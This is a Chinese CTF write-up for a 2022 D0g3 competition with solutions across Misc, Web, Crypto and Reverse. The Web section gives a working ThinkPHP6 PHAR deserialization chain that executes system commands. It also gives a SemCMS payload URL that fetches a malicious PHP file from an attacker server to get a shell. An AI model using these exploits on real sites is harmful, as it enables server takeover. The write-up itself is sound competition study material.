发布于2022年11月5日3年前 0x00 Misc一、应该算是签到快去BV1ZX4y1V7Qb找一条全部由字母和下划线构成的特色flag弹幕吧!flag格式为D0g3{xxxxxxx_xx_xxxxxxxxx} 访问视频半天没找到flag,眼看几分钟都十几解了,我想到了村霸的一句名言:钓不到鱼我就用抽水机来抽(直接用jjdown下载该视频的XML弹幕文件,然后直接搜索D0g3D0g3{welcome_to_axbgogogo} 二、Cthulhu Mythos首先听一下音频文件,1min后有SSTV的声音(但把头部挖了),用软件解一下可看到一串Base32的字符串,但是拿去解只能得到一半的flagMRPVI4TZL5KGK4TSGRZGSYJBPU====== 音频的前一分钟是Terraria的音乐,这提示下面这个.wld文件是一个Terraria的地图文件由于我没有玩过Terraria,我就先去找了一个地图查看器。可以看见地面上有4个玻璃制的箱子最右边的箱子名字乱码了,应该是中文导致换一个离线运行的编辑器可以看出第四个箱子的名称把前面3个箱子的信息组合一下,可得到Base32的前半段IQYGOM33JUYW4ZLDKI2GM5C 但是跟后半段不能很好地接上,第四个箱子的说明也提示了还有一段flag我还是把这个地图给了某个Terraria玩家,他玩了一会说只要拿着扳手就可以在出生点看到信息我又换了一个地图编辑器,也看到了7I4YF6QLO 把解出来的所有字符串按顺序拼起来IQYGOM33JUYW4ZLDKI2GM5C7I4YF6QLOMRPVI4TZL5KGK4TSGRZGSYJBPU====== D0g3{M1necR4ft_G0_And_Try_Terr4ria!} 三、CyzCC_loves_LOL打开附件看到一个大概能读懂的代码和一个加密的zip文件神奇的代码用Dcode检测一下发现是一种叫LOLCODE的语言用在线工具跑一下得到输出就是压缩包密码解压ez_misc.zip后,里面有两个文件:Program.png和jinx's_flag_in_silent.jpgProgram.png有经验直接看出来是brainloller,用在线工具运行一下jinx's_flag_in_silent.jpg由文件名提示是Silent Eye隐写,用该工具解密(题目说明中指出要把空格换成下划线)D0g3{544f3225-bbaf-47dc-ba8d-5bda54cbaecb} lovemath打开压缩包很明显可以知道是CRC32爆破来获取六字节文件内的部分压缩包密码利用CRC32 Tools来辅助爆破攻击,并结合特征点来确认压缩包密码内容,得到压缩包的密码为:th1s_Is_Y0ur_pa33w0rd_We1c0m3e得到图片blind.png,利用Stegsolve在bgr组合三个通道的最底层提取到一张图片根据题目描述,猜测是Tupper自我指涉公式,利用在线网站解密得到FLAG:D0g3{I_LOV3_math} 0x01 Web一、EZ_TP利用ThinkPHP6反序列化链子结合PHAR协议来获取FLAG<?php namespace think { class Request { protected $filter; protected $hook = []; protected $param = []; protected $config = []; public function __construct() { $this->filter = 'system'; $this->param = ['cat /*']; $this->hook = ['visible' => [$this, 'isAjax']]; $this->config = ['var_ajax' => '']; } } abstract class Model { private $data = []; protected $append = []; function __construct() { $this->append = ['h3rmesk1t' => ['a']]; $this->data = ['h3rmesk1t' => new Request()]; } } } namespace think\model { use think\Model; use think\Request; class Pivot extends Model { } } namespace think\process\pipes { use think\model\Pivot; class Pipes { } class Windows extends Pipes { private $files = []; function __construct() { $this->files = [new Pivot()]; } } } namespace { use think\process\pipes\Windows; $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setStub(" __HALT_COMPILER(); ?>"); $demo = new Windows(); $phar->setMetadata($demo); $phar->addFromString("hello.txt", "demo"); $phar->stopBuffering(); } 利用CyberChef来对生成的PHAR文件进行BASE64-ENCODE操作,接着将得到的结果通过POST传参并绕过限制条件,即可获得FLAG二、ezcms审计代码后发现CxWsbN_AR4\Ant_Curl.php文件中存在远程文件下载漏洞<?php include_once 'Ant_Inc.php'; if (isset($_GET['url'])){ $dname=explode("/", $_GET['url']); if(strpos($dname[2],'sem-cms.cn') !== false){ $url=$_GET['url']; }else{ echo("<script language='javascript'>alert('非法操作');window.history.back(-1);</script>"); exit; } }else{ $url=""; } if (!empty($url)){ $fn = explode("/", $url); $filename =end($fn); $fndir = str_replace(".zip", "", $filename); //下载目录 $save_dir = "../Soft/Zip/"; //解压目录 $open_dir = "../Soft/Uzip/"; //备份目录 $bak_dir = "../Soft/Bak/"; //下载文件 $result =getFile($url, $save_dir, $filename,1); if ($result===false){ echo("<script language='javascript'>alert('文件下载失败,重新下载:可能不支持cURL,或服务器原因');window.history.back(-1);</script>"); exit; } //解压文件 $size = get_zip_originalsize($save_dir.$filename,$open_dir); //备份目录 if(!is_dir($bak_dir)){ mkdir($bak_dir,0777,true); } $file = fopen($open_dir.$fndir."/install.txt","r"); while(!feof($file)){ $url=explode("=",fgets($file)); //备份文件 $bak_file = explode("/", trim($url[1])); if(file_exists(trim($url[1]))){ //原文件存在的备份 if(rename(trim($url[1]),$bak_dir.end($bak_file))===false){ echo "备份失败"; } } //安装文件 if(rename(trim($url[0]),trim($url[1]))===false){ //echo "安装失败"; echo "<script language='javascript'>alert('安装失败,请重新安装');window.history.back(-1);</script>"; exit; } } fclose($file); //删除解压文件及压缩包 delDirAndFile($save_dir); delDirAndFile($open_dir); echo("<script language='javascript'>alert('安装成功');window.history.back(-1);</script>"); } ?> 利用Payload:题目地址/CxWsbN_AR4/Ant_Curl.php?url=服务器IP/sem-cms.cn/sem-cms.cn5.php即可下载含有恶意代码的PHP文件接着访问题目地址/Soft/Zip/sem-cms.cn5.php来Getshell 0x03 Crypto一、little_trick第一部分和今年的祥云杯中的Random_RSA类似,Python随机数相同的随机数种子产生的随机数序列相同,先用题目给出的seeds、result等参数来反算出dp的值from gmpy2 import * import binascii import random seeds = [3, 0, 39, 78, 14, 49, 73, 83, 55, 48, 30, 28, 23, 16, 54, 23, 68, 7, 20, 8, 98, 68, 45, 36, 97, 13, 83, 68, 16, 59, 81, 26, 51, 45, 36, 60, 36, 94, 58, 11, 19, 33, 95, 12, 60, 38, 51, 95, 21, 3, 38, 72, 47, 80, 7, 20, 26, 80, 18, 43, 92, 4, 64, 93, 91, 12, 86, 63, 46, 73, 89, 5, 91, 17, 88, 94, 80, 42, 90, 14, 45, 53, 91, 16, 28, 81, 62, 63, 66, 20, 81, 3, 43, 99, 54, 22, 2, 27, 2, 62, 88, 99, 78, 25, 76, 49, 28, 96, 95, 57, 94, 53, 32, 58, 32, 72, 89, 15, 4, 78, 89, 74, 86, 45, 51, 65, 13, 75, 95, 42, 20, 77, 34, 66, 56, 20, 26, 18, 28, 11, 88, 62, 72, 27, 74, 42, 63, 76, 82, 97, 75, 92, 1, 5, 20, 78, 46, 85, 81, 54, 64, 87, 37, 91, 38, 39, 1, 90, 61, 28, 13, 60, 37, 90, 87, 15, 78, 91, 99, 58, 62, 73, 70, 56, 82, 5, 19, 54, 76, 88, 4, 3, 55, 3, 3, 22, 85, 67, 98, 28, 32, 42, 48, 96, 69, 3, 83, 48, 26, 20, 45, 16, 45, 47, 92, 0, 54, 4, 73, 8, 31, 38, 3, 10, 84, 60, 59, 69, 64, 91, 98, 73, 81, 98, 9, 70, 44, 44, 24, 95, 83, 49, 31, 19, 89, 18, 20, 78, 86, 95, 83, 23, 42, 51, 95, 80, 48, 46, 88, 7, 47, 64, 55, 4, 62, 37, 71, 75, 98, 67, 98, 58, 66, 70, 24, 58, 56, 44, 11, 78, 1, 78, 89, 97, 83, 72, 98, 12, 41, 33, 14, 40, 27, 5, 18, 35, 25, 31, 69, 97, 84, 47, 25, 90, 78, 15, 72, 71] res = [-38, -121, -40, -125, -51, -29, -2, -21, -59, -54, -51, -40, -105, -5, -4, -50, -127, -56, -124, -128, -23, -104, -63, -112, -34, -115, -58, -99, -24, -102, -1, -5, -34, -3, -104, -103, -21, -62, -121, -24, -115, -9, -87, -56, -39, -30, -34, -4, -33, -5, -114, -21, -19, -7, -119, -107, -115, -6, -25, -27, -32, -62, -28, -20, -60, -121, -102, -10, -112, -7, -85, -110, -62, -100, -110, -29, -41, -55, -113, -112, -45, -106, -125, -25, -57, -27, -83, -2, -51, -118, -2, -10, -50, -40, -1, -82, -111, -113, -50, -48, -23, -33, -112, -38, -29, -26, -4, -40, -123, -4, -44, -120, -63, -38, -41, -22, -50, -50, -17, -122, -61, -5, -100, -22, -44, -47, -125, -125, -127, -55, -117, -100, -2, -26, -32, -111, -123, -118, -16, -24, -20, -40, -92, -40, -102, -49, -99, -45, -59, -98, -49, -13, -62, -128, -121, -114, -112, -13, -3, -4, -26, -35, -15, -35, -8, -18, -125, -14, -6, -60, -113, -104, -120, -64, -104, -55, -104, -41, -34, -106, -105, -2, -28, -14, -58, -128, -3, -1, -17, -38, -18, -12, -59, -4, -19, -82, -40, -122, -18, -42, -53, -60, -113, -40, -126, -15, -63, -40, -124, -114, -58, -26, -35, -26, -8, -48, -112, -52, -11, -117, -52, -32, -21, -38, -124, -13, -103, -6, -30, -33, -28, -31, -1, -97, -59, -64, -28, -1, -40, -2, -10, -26, -24, -3, -50, -113, -125, -122, -124, -5, -50, -62, -11, -8, -88, -109, -7, -31, -105, -54, -28, -8, -62, -58, -101, -58, -53, -124, -18, -124, -17, -109, -52, -45, -40, -109, -85, -7, -108, -121, -58, -49, -91, -102, -8, -10, -17, -55, -19, -11, -116, -47, -120, -121, -23, -99, -19, -51, -36, -110, -126, -29, -110, -9, -97, -54, -83, -86] dp = '' for i in range(len(res)): random.seed(seeds[i]) rands = [] for j in range(0,4): rands.append(random.randint(0,99)) dp += chr((~(res[i])|rands[i%4]) & ((res[i])|~rands[i%4])) del rands[i%4] print(dp) dp = int(dp) #dp = 23458591381644494879596426183878928641891759871602961070839457303969747353773411708437315165237216481430908369709167907047043280248152040749469402814146054871536032870746473649690743697560576735624528397398691515920649222501258921802372365480019200479555430922883680472732415240714991623845227274793947921407 后半段中,每次循环中的P、Q其实都是已知的,因此很容易可以把dq的值计算出来from gmpy2 import * from Crypto.Util.number import * dp = '' e = 0x10001 length_dp = 309 c = [1, 0, 7789, 1, 17598, 20447, 15475, 23040, 41318, 23644, 53369, 19347, 66418, 5457, 0, 1, 14865, 97631, 6459, 36284, 79023, 1, 157348, 44667, 185701, 116445, 23809, 220877, 0, 1, 222082, 30333, 55446, 207442, 193806, 149389, 173229, 349031, 152205, 1, 149157, 196626, 1, 222532, 10255, 46268, 171536, 0, 351788, 152678, 0, 172225, 109296, 0, 579280, 634746, 1, 668942, 157973, 1, 17884, 662728, 759841, 450490, 0, 139520, 157015, 616114, 199878, 154091, 1, 937462, 675736, 53200, 495985, 307528, 1, 804492, 790322, 463560, 520991, 436782, 762888, 267227, 306436, 1051437, 384380, 505106, 729384, 1261978, 668266, 1258657, 913103, 935600, 1, 1, 401793, 769612, 484861, 1024896, 517254, 638872, 1139995, 700201, 308216, 333502, 0, 0, 401082, 1514640, 667345, 1015119, 636720, 1011683, 795560, 783924, 1269039, 5333, 0, 368271, 1700344, 1, 383167, 7540, 1490472, 1484752, 918665, 312560, 688665, 967404, 922857, 624126, 889856, 1, 848912, 1426397, 1291770, 1669069, 0, 1709762, 130116, 1711413, 1336912, 2080992, 820169, 903313, 515984, 2211283, 684372, 2773063, 391284, 1934269, 107761, 885543, 0, 2551314, 2229565, 1392777, 616280, 1368347, 154512, 1, 1668051, 0, 2453671, 2240909, 2661062, 2880183, 1376799, 0, 2252003, 1, 17666, 1, 2563626, 251045, 1593956, 2215158, 0, 93160, 0, 2463412, 654734, 1, 3341062, 3704395, 3841103, 609968, 2297131, 1942751, 3671207, 1, 1209611, 3163864, 3054774, 1055188, 1, 4284662, 3647599, 247779, 0, 176021, 3478840, 783050, 4613736, 2422927, 280158, 2473573, 2218037, 936624, 2118304, 353989, 3466709, 4737392, 2637048, 4570953, 1473551, 0, 0, 4780148, 3299784, 592717, 538363, 2068893, 814922, 2183138, 2011758, 2296545, 5075424, 1814196, 974225, 669506, 2756080, 5729359, 4599677, 5737886, 3947814, 4852062, 1571349, 4123825, 2319244, 4260764, 1266852, 1, 3739921, 1, 5948390, 1, 2761119, 2203699, 1664472, 3182598, 6269365, 5344900, 454610, 495499, 6407607, 1, 1, 476694, 4339987, 5642199, 1131185, 4092110, 2802555, 0, 5323448, 1103156, 2954018, 1, 1860057, 128891, 2586833, 6636077, 3136169, 1, 3280730, 6970001, 1874791, 48335, 6229468, 6384918, 5412112, 1, 7231540, 7886316, 2501899, 8047283, 2971582, 354078, 401999, 6427168, 4839680, 1, 44050, 3319427, 0, 1, 1452967, 4620879, 5525420, 5295860, 643415, 5594621, 951449, 1996797, 2561796, 6707895, 7072739] list_p = sieve_base[0 : length_dp] list_q = sieve_base[length_dp : 2 * length_dp] for i in range(length_dp): p = list_p[i] q = list_q[i] phi = (p-1) * (q-1) d = invert(e, phi) dp += str(pow(c[i], d, p*q)) print(dp) 接着利用dp&dq泄露就能拿到本题的FLAG:D0g3{Welc0me_t0_iSOON_4nd_have_4_go0d_time}import gmpy2 import binascii def decrypt(dp,dq,p,q,c): InvQ = gmpy2.invert(q,p) mp = pow(c,dp,p) mq = pow(c,dq,q) m = (((mp-mq) * InvQ)%p) * q + mq print(binascii.unhexlify(hex(m)[2:])) p = 119494148343917708105807117614773529196380452025859574123211538859983094108015678321724495609785332508563534950957367289723559468197440246960403054020452985281797756117166991826626612422135797192886041925043855329391156291955066822268279533978514896151007690729926904044407542983781817530576308669792533266431 q = 125132685086281666800573404868585424815247082213724647473226016452471461555742194042617318063670311290694310562746442372293133509175379170933514423842462487594186286854028887049828613566072663640036114898823281310177406827049478153958964127866484011400391821374773362883518683538899757137598483532099590137741 dp = 23458591381644494879596426183878928641891759871602961070839457303969747353773411708437315165237216481430908369709167907047043280248152040749469402814146054871536032870746473649690743697560576735624528397398691515920649222501258921802372365480019200479555430922883680472732415240714991623845227274793947921407 dq = 104137587579880166582178434901328539485184135240660490271571544307637817287517428663992284342411864826922600858353966205614398977234519495034539643954586905495941906386407181383904043194285771983919780892934288899562700746832428876894943676937141813284454381136254907871626581989544814547778881240129496262777 c = 10238271315477488225331712641083290024488811710093033734535910573493409567056934528110845049143193836706122210303055466145819256893293429223389828252657426030118534127684265261192503406287408932832340938343447997791634435068366383965928991637536875223511277583685579314781547648602666391656306703321971680803977982711407979248979910513665732355859523500729534069909408292024381225192240385351325999798206366949106362537376452662264512012770586451783712626665065161704126536742755054830427864982782030834837388544811172279496657776884209756069056812750476669508640817369423238496930357725842768918791347095504283368032 decrypt(dp,dq,p,q,c) 二、ez_equation先手动化简一波X和Y之间的等式,接着利用化简后的等式可以快速的得到primelist[0]、primelist[1]和primelist[2]三个值设primelist[0]、primelist[1]、primelist[2]分别为x、y、z,可以根据约数向上推来得到x和z的值,测试后发现分数化到最简后同时乘以6可得到满足x和z都为质数的值,再把x和z带入上面的式子可解出yx = 117379993488408909213785887974472229016071265566403849836216754847295401565166151872329440545598767396499252325133419296775798211888305050776586647999185549171166433935032159605367762650398185050063643611720499373962310459705000471248897299568458251778545586376091559089442503748421906239117101764062329447353 z = 124117415943883977664751123530312411127969752596554845224788157371311249476587435058606174560086595402130942432433077285727410486606936603436679072115481556559754023776771158788066029212482977191449912364572356973349619609634451941137428490832382800157920373064845282558903378297473815085357523566726409862651 y = 131159337350604437097260935337908172871918065922429417087300191526860863483450734104610066096933731192226146030815782379368166939404332806989923180544179939143847199925713737334596232430250079326424892252913440273468860901835188784892049729690676730019241424382610694942610558037299924847740715832061165596221 由于n = reduce(lambda a, b:a * b, primelist) * p * q中p和q是相邻的质数,直接用yafu分解n // (x * y * z)的值即可得到上述需要的参数值后,就是简单的rsa解密,拿到本题的FLAG:D0g3{296b680c-7aeb-5272-8b33-7335b411fbcb}import binascii import gmpy2 from Crypto.Util.number import * e = 0x10001 c = 1394946766416873131554934453357121730676319808212515786127918041980606746238793432614766163520054818740952818682474896886923871330780883504028665380422608364542618561981233050210507202948882989763960702612116316321009210541932155301216511791505114282546592978453573529725958321827768703566503841883490535620591951871638499011781864202874525798224508022092610499899166738864346749753379399602574550324310119667774229645827773608873832795828636770263111832990012205276425559363977526114225540962861740929659841165039419904164961095126757294762709194552018890937638480126740196955840656602020193044969685334441405413154601311657668298101837066325231888411018908300828382192203062405287670490877283269761047853117971492197659115995537837080400730294215778540754482680476723953659085854297184575548489544772248049479632420289954409052781880871933713121875562554234841599323223793407272634167421053493995795570508435905280269774274084603687516219837730100396191746101622725880529896250904142333391598426588238082485305372659584052445556638990497626342509620305749829144158797491411816819447836265318302080212452925144191536031249404138978886262136129250971366841779218675482632242265233134997115987510292911606736878578493796260507458773824689843424248233282828057027197528977864826149756573867022173521177021297886987799897923182290515542397534652789013340264587028424629766689059507844211910072808286250914059983957934670979551428204569782238857331272372035625901349763799005621577332502957693517473861726359829588419409120076625939502382579605 n = 19445950132976386911852381666731799463510958712950274248183192405937223343228119407660772413067599252710235310402278345391806863116119010697766434743302798644091220730819441599784039955347398797545219314925103529062092963912855489464914723588833817280786158985269401131919618320866942737291915603551320163001129725430205164159721810319128999027215168063922977994735609079166656264150778896809813972275824980250733628895449444386265971986881443278517689428198251426557591256226431727934365277683559038777220498839443423272238231659356498088824520980466482528835994554892785108805290209163646408594682458644235664198690503128767557430026565606308422630014285982847395405342842694189025641950775231191537369161140012412147734635114986068452144499789367187760595537610501700993916441274609074477086105160306134590864545056872161818418667370690945602050639825453927168529154141097668382830717867158189131567590506561475774252148991615602388725559184925467487450078068863876285937273896246520621965096127440332607637290032226601266371916124456122172418136550577512664185685633131801385265781677598863031205194151992390159339130895897510277714768645984660240750580001372772665297920679701044966607241859495087319998825474727920273063120701389749480852403561022063673222963354420556267045325208933815212625081478538158049144348626000996650436898760300563194390820694376019146835381357141426987786643471325943646758131021529659151319632425988111406974492951170237774415667909612730440407365124264956213064305556185423432341935847320496716090528514947 x = 117379993488408909213785887974472229016071265566403849836216754847295401565166151872329440545598767396499252325133419296775798211888305050776586647999185549171166433935032159605367762650398185050063643611720499373962310459705000471248897299568458251778545586376091559089442503748421906239117101764062329447353 z = 124117415943883977664751123530312411127969752596554845224788157371311249476587435058606174560086595402130942432433077285727410486606936603436679072115481556559754023776771158788066029212482977191449912364572356973349619609634451941137428490832382800157920373064845282558903378297473815085357523566726409862651 y = 131159337350604437097260935337908172871918065922429417087300191526860863483450734104610066096933731192226146030815782379368166939404332806989923180544179939143847199925713737334596232430250079326424892252913440273468860901835188784892049729690676730019241424382610694942610558037299924847740715832061165596221 p = 100879187056056327845688098549406745424207361197423093269692717108477600868962896860013904736765795306101216828969899092854909669522132180587302621989436957151756194757478353967989066938767945991388791271155482274102738851937877875741607885045831857778368069892408823414883083227349949611641923542904479146623 q = 100879187056056327845688098549406745424207361197423093269692717108477600868962896860013904736765795306101216828969899092854909669522132180587302621989436957151756194757478353967989066938767945991388791271155482274102738851937877875741607885045831857778368069892408823414883083227349949611641923542904479147403 phi=(p-1)*(q-1)*(x-1)*(y-1)*(z-1) d=gmpy2.invert(e,phi) m=pow(c,d,n) print(long_to_bytes(m)[256:-256]) 三、Strange分析加密过程后很容易发现是一个Stereotyped messages攻击+z3求解的问题m1 = m | hint => 由于m的值相比于hint小多了,因此这样得到的是hint的高位 m2 = m & hint => 得到m的位数 因此,可以通过hint & ((1 << 383) - 1) 取hint的低位,即m1的有效低位,通过hint - (hint & ((383 << 1) - 1))取hint的有效高位接着利用得到的hint_high进行Stereotyped messages攻击,利用得到的低位与hint_high相加得到m1的值得到m1的值后,利用z3约束求解即可得到m的值,long_to_bytes后得到FLAG:D0g3{R54_f4l1_1n_l0ve_with_CopperSmith_w0wow0!!}from z3 import * from Crypto.Util.number import * m = BitVec('m', 384) s = Solver() m1 = 9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954214259681421943807855554571179619485975143945972545328763519931371552573980829950864711586524281634114102102055299443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022881699764957699708192080739949462316844091240219351646138447816969994625883377800662643645172691649337353080140418336425506119542396319376821324619330083174008060351210933049560781360717427446713646109570038056138652803756149233612618692820860571507613112565167824369560313209417725 m2 = 9869907877594701353175281930839281485694004896356038595955883788511764488228640164047958227861871572990960024485992 hint = 9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954214259681421943807855554571179619485975143945972545328763519931371552573980829950864711586524281634114102102055299443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022881699764957699708192080739949462316844091240219351646138447816969994625883377800662643645172691649337353080140418336425506119542396319376821324619330083174008060351210307698279022584862990749963452589922185709026197210591472680780996507882639014068600165049839680108974873361895144 s.add(m1 == (m | hint)) s.add(m2 == (m & hint)) s.check() m = s.model() print(m) 0x04 Reverse一、signin先打开程序,发现是贪吃蛇,IDA跟进sub_40100F,发现有个花指令和SMC,先把SMC解出来,利用用od动态调试,断在0x419054,此为加密完成的位置,接着回到0x401d10,重新分析代码后,将整个函数选中右键复制到可执行文件 – 选择,保存到新的文件后即可看到逻辑解出来发现这是flag的逻辑:程序先进行了异或,矩阵变换,然后就是一个魔改的类似TEA思想的算法,由于dword_42CA44未知且小于256v5 = dword_42CA44 + 1144219440; v5虽然是一个int数组,但是是从char赋值来的,所以可以爆破dword_42CA44,只要解出来的结果<256就是正确的#include <ctime> #include <stdio.h> #include <stdlib.h> #include <windows.h> unsigned char Enc[] = { 0xA5, 0xD8, 0x8E, 0xBF, 0xF9, 0xA9, 0x15, 0xE1, 0x8A, 0xF0, 0xD3, 0xFC, 0x46, 0x89, 0xBF, 0x8B, 0x62, 0xB1, 0x08, 0xC3, 0x29, 0xCF, 0x19, 0x2B, 0x56, 0x06, 0x77, 0x7A, 0xBA, 0xE4, 0xBA, 0xA4, 0xE4, 0x8C, 0x3E, 0x4E, 0xD9, 0xE1, 0xA7, 0x01, 0x04, 0xCE, 0xE9, 0x75, 0xB9, 0x93, 0xB5, 0x22, 0xB4, 0x42, 0x77, 0x49, 0xF6, 0x15, 0xEB, 0x24, 0x0E, 0xFF, 0xC2, 0xF2, 0x39, 0x30, 0x97, 0x47, 0x0D, 0xCA, 0x01, 0xC8, 0x61, 0x58, 0x12, 0x6A, 0xE8, 0x0B, 0x32, 0x80, 0x47, 0xBD, 0x85, 0x03, 0xDD, 0x6D, 0xF9, 0x69, 0xD1, 0x90, 0x64, 0xE5, 0x4B, 0xAD, 0x3C, 0x2D, 0xBE, 0x00, 0x42, 0x2D, 0x79, 0x69, 0xEF, 0x89, 0x5D, 0x88, 0x91, 0x4A, 0xC7, 0xEB, 0x9D, 0x01, 0x96, 0xFD, 0xF8, 0x3B, 0x57, 0x25, 0xDD, 0x1B, 0xDD, 0x5F, 0x68, 0xB8, 0x14, 0x66, 0x22, 0x57, 0x28, 0x5C, 0x58, 0x9F }; DWORD GetMagic1(int time,int x) { DWORD magic = 0x44336730 + x; DWORD v8 = 0; for(int i = 0 ; i< time ;i++){ v8 += magic; } return (v8 >> 2) & 3; } DWORD GetMagic2(int time,int x) { DWORD magic = 0x44336730 + x; DWORD v8 = 0; for (int i = 0; i < time; i++) { v8 += magic; } return v8; } int main() { unsigned long ENC[32] = { 0 }; for (int x = 0;x < 256;x++){ memcpy(ENC, Enc, 32 * 4); DWORD* a1 = (DWORD*)ENC; DWORD know[] = { 68,48,103,51 }; for (int j = 7; j > 0; j--) { DWORD v8 = GetMagic2(j,x); DWORD v6 = GetMagic1(j,x); DWORD v9 = a1[30]; a1[31] -= ((v9 ^ (know[(v6 ^ 31) & 3])) + (*a1 ^ v8)) ^ (((16 * v9) ^ (*a1 >> 3)) + ((4 * *a1) ^ (v9 >> 5))); for (int i = 30; i >= 0; i--) { if (i == 0) { v9 = a1[31]; } else { v9 = a1[i - 1]; } a1[i] -= ((v9 ^ (know[(v6 ^ i) & 3])) + (a1[i + 1] ^ v8)) ^ (((16 * v9) ^ (a1[i + 1] >> 3)) + ((4 * a1[i + 1]) ^ (v9 >> 5))); } } if(ENC[0] < 256){ printf("%d",x); } } } # x = 77 接着再逆矩阵变换,就可以构造一个{1,2,3,4,5,6,7,...}的数组然后进行加密拿到置换表int j = 0; int i = 0; int v1[128] = { 0 }; char table[32] = { 0 }; for(int sb = 0;sb<32;sb++){ table[sb] = sb + 1; } while (i < 32) { if (j % 6 >= 3) v1[32 * (3 - j % 3) + i] = table[i]; else v1[32 * (j % 3) + i] = table[i]; ++i; ++j; } char result[32] = { 0 }; int v7 = 0; for (i = 0; i < 4; ++i) { for (j = 0; j < 32; ++j) { if (v1[32 * i + j]) result[v7++] = (unsigned __int8)v1[32 * i + j]; } } __asm int 3; 然后把提取表,逆置换,再逆异或即可拿到flagchar ConverTable[32] = { 0x1,0x07,0x0d,0x13,0x19,0x1f,0x02,0x06,0x08,0x0c,0x0e,0x12,0x14,0x18,0x1a,0x1e,0x20,0x03,0x05,0x09,0x0b,0x0f,0x11,0x15,0x17,0x1b,0x1d,0x04,0x0a,0x10,0x16,0x1c }; for(int i = 0;i<32;i++){ ConverTable[i] -= 1; } char sb[33] = { 0 }; for(int i = 0;i<32;i++){ sb[ConverTable[i]] =(char)ENC[i]; } sb[31] ^= sb[0]; for(int i = 30 ;i>=0;i--){ // printf("%d", i); sb[i] ^= sb[(i + 1) % 32]; } printf("%s", sb); Th4_1mp0rtant_th2n9_is_t0_le@rn! 二、virus解题exp如下#include <windows.h> #include <stdio.h> void __cdecl sub_401790(char* a1, char* a2) { DWORD v2[56]; // [esp+4Ch] [ebp-FCh] BYREF int v3; // [esp+12Ch] [ebp-1Ch] int v4; // [esp+130h] [ebp-18h] int v5; // [esp+134h] [ebp-14h] int j; // [esp+138h] [ebp-10h] int v7; // [esp+13Ch] [ebp-Ch] int v8; // [esp+140h] [ebp-8h] int i; // [esp+144h] [ebp-4h] for (i = 0; i < 4; ++i) { v8 = *(char*)(i + a1); for (j = 6; j >= 0; --j) { v2[7 * i + 28 + j] = v8 % 2; v8 /= 2; v2[7 * i + j] = v2[7 * i + 28 + j]; } } v5 = 0; v4 = 0; for (i = 0; i < 4; ++i) { for (j = 0; j < 7; ++j) { v3 = v2[7 * v5 + v4]; v2[7 * i + 28 + j] = v3; v5 = (v5 + 1) % 4; v4 = (v4 + 2) % 7; } } for (i = 0; i < 4; ++i) { v7 = 0; for (j = 0; j < 6; ++j) { v7 = 2 * (v7 + v2[7 * i + 28 + j]); if (v2[7 * i + 29 + j] == 1 && j == 5) ++v7; } *(BYTE*)(i + a2) = v7; } } void baopo() { char table[] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789+/_-" }; char key[5] = { "" }; for (int a1 = 0; a1 < strlen(table); a1++) for (int a2 = 0; a2 < strlen(table); a2++) for (int a3 = 0; a3 < strlen(table); a3++) for (int a4 = 0; a4 < strlen(table); a4++) { key[0] = table[a1]; key[1] = table[a2]; key[2] = table[a3]; key[3] = table[a4]; char test[5] = { 0 }; lstrcpynA(test, key, 5); char result[20] = { 0 }; for (int i = 0; i < 4; i++) { sub_401790(key, result); lstrcpynA(key, result, 5); } if (!strcmp(key, "Lroo")) { printf("%s", test); system("pause"); } } } unsigned char Enc[] = { 0x5C, 0x89, 0xEE, 0xF5, 0x6F, 0xC5, 0x44, 0x92, 0xDB, 0xE3, 0xAE, 0x9C, 0xB5, 0x4F, 0x4A, 0xF4, 0xE7, 0xA3, 0x5E, 0x0F, 0xFC, 0x93, 0xFC, 0x76, 0x6C, 0xFB, 0x29, 0xE0, 0x16, 0x2F, 0xA5, 0x67 }; unsigned long key[] = { 0xCBD6C588, 0x03F17D27, 0x1C18E9CC, 0xFE024DB3, 0xD71737EB, 0x7B9B1EAB, 0x2776BBA4, 0xBD2018C0, 0x356D0553, 0x0C825513, 0xCAAFF094, 0x9DFBCBA1, 0x7EB6B878, 0x47630F35, 0x4B494BBE, 0x34FD620A, 0x14CF85EF, 0xD754E93A, 0x338B4918, 0xC0846091, 0xD526F236, 0xB9CE1FC7, 0xCB537B6A, 0x25FDD8EA, 0x7221094B, 0xA1F73ABF, 0x2473D8CC, 0x8FA4F2F2, 0x1E7CAC59, 0xEC581806, 0x425D33C3, 0xBEB16ED4, 0xE5C0CA70, 0x02B60624, 0x3011744F, 0xF73A6E51 }; DWORD pack(const char * a) { int r = 0; for(int i = 0;i<4;i++){ r <<= 8; r |= (BYTE)a[i]; } return r; } DWORD GetRemoteCallValue(HANDLE hProcess,DWORD v) { HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)0x4011e0, (LPVOID)v, 0, 0); WaitForSingleObject(hThread, -1); DWORD ret = 0; GetExitCodeThread(hThread, &ret); CloseHandle(hThread); return ret; } int main(void) { for(int x = 0;x<2;x++) { unsigned v1 = pack((const char*)Enc + 12 + 16 *x); unsigned v2 = pack((const char*)Enc + 8 + 16*x); unsigned v3 = pack((const char*)Enc + 4 + 16 *x); unsigned v4 = pack((const char*)Enc + 16 *x); unsigned Temp[36] = { 0 }; Temp[32] = v1; Temp[33] = v2; Temp[34] = v3; Temp[35] = v4; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 5052); for (int i = 31; i >= 0; i--) { Temp[i] = GetRemoteCallValue(hProcess, Temp[i + 1] ^ Temp[i + 2] ^ Temp[i + 3] ^ key[i + 4]) ^ Temp[i + 4]; } for (int i = 0; i < 4; i++) { Temp[i] ^= 0x06070607; } char* sb1 = (char*)Temp; for(int i = 0;i<4;i++){ for(int j = 0 ; j< 4;j++){ printf("%c", sb1[i * 4 + (3 - j)]); } } } system("pause"); } Ho3_I_Exp3cTed_n0_pY_1n_the_Ctf! 三、maze迷宫题型,先算出dWWwwdddWWaawwddsssSaw的解法import base64 import string str1 = "QCAmN2sYNGUfR3EvOUMuNWYkW3k1JR==" string1 = "BADCFEHGJILKNMPORQTSVUXWZYbadcfehgjilknmporqtsvuxwzy1032547698+/" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" print (base64.b64decode(str1.translate(str.maketrans(string1,string2)))) 